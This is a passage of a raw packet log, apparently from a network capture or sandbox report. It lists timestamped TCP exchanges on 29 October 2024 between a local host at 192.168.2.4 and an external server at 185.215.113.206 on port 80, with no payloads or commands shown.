Oct 29, 2024 04:52:28.040853024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.040862083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.040889025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.040905952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.040924072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.040941000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.040973902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.041379929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.041438103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.041523933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.041559935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.041587114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.041593075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.041624069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.041642904 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.041877031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.041912079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.041929960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.041945934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.041954041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.041980982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.041996956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.042017937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.042036057 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.042057991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.042602062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.042635918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.042661905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.042670012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.042692900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.042704105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.042711020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.042745113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.042763948 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.042778969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.042787075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.042821884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.043458939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.043495893 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.043519974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.043529034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.043540955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.043564081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.043580055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.043597937 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.043618917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.043631077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.043665886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.043667078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.043689966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.043715000 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.044341087 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.044375896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.044404030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.044409990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.044409990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.044439077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.044452906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.044473886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.044490099 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.044507980 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.044540882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.044542074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.044562101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.044580936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.044599056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.044625044 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.045144081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.045183897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.045212984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.045219898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.045233965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.045253992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.045268059 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.045289993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.045298100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.045336008 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.084665060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.084728956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.084816933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.084852934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.084867954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.084903955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085156918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085191965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085222960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085227966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085243940 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085273027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085313082 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085347891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085367918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085403919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085655928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085685968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085710049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085722923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085737944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085757971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085772991 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085791111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.085808039 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.085843086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.086169004 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086203098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086225986 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.086236954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086262941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.086270094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086280107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.086306095 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086313963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.086350918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.086879015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086910963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086944103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086947918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.086947918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.086980104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.086982965 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.087025881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.087419987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.087454081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.087480068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.087506056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.087577105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.087610960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.087626934 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.087645054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.087662935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.087678909 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.087693930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.087712049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.087729931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.087769985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.088262081 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.088296890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.088324070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.088329077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.088345051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.088378906 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157077074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157161951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157185078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157217026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157253981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157253981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157284021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157335043 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157455921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157489061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157510042 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157536983 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157748938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157783031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157804966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157819986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157841921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157855034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.157870054 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.157910109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.158144951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.158200026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.158204079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.158236027 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.158250093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.158265114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.158291101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.158312082 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.158632994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.158660889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.158689976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.158716917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.158729076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.158751965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.158770084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.158798933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159085989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159118891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159145117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159162998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159169912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159204006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159229994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159240007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159251928 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159274101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159286976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159311056 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159336090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159385920 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159883976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159917116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.159945011 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159962893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.159966946 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.160001993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.160017967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.160059929 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.160299063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.160352945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.160357952 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.160387993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.160419941 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.160423040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.160442114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.160458088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.160470009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.160492897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.160514116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.160548925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.161163092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.161196947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.161220074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.161231041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.161237955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.161263943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.161277056 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.161298990 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.161319971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.161331892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.161360979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.161377907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.162022114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.162055969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.162084103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.162089109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.162106037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.162122965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.162137985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.162157059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.162178040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.162194014 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.162201881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.162224054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.162245989 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.162281036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.200356960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.200419903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.200424910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.200453997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.200472116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.200501919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.200756073 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.200789928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.200814009 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.200823069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.200831890 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.200856924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.200870037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.200910091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.201299906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.201333046 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.201364040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.201368093 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.201385975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.201401949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.201426029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.201437950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.201447964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.201497078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.201890945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.201925993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.201946974 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.201998949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.246361971 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.251766920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.726610899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.726748943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.726764917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.726807117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.726888895 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.726965904 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727015972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727044106 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727051973 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727085114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727123022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727133036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727216005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727623940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727658033 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727682114 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727691889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727706909 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727739096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727741957 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727775097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727788925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727809906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727826118 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727844000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727854967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727879047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.727889061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.727930069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.728508949 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.728544950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.728579998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.728584051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.728606939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.728619099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.728647947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.728653908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.728673935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.728688002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.728694916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.728720903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.728738070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.728801012 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.729396105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.729429960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.729456902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.729463100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.729480028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.729496956 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.729506969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.729530096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.729547024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.729562998 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.729577065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.729597092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.729619026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.729660034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.730298042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.730331898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.730357885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.730360985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.730376959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.730396032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.730408907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.730428934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.730442047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.730463028 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.730483055 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.730496883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.730520010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.730547905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 29, 2024 04:52:28.731157064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 29, 2024 04:52:28.731189966 CET	80	49760	185.215.113.206	192.168.2.4
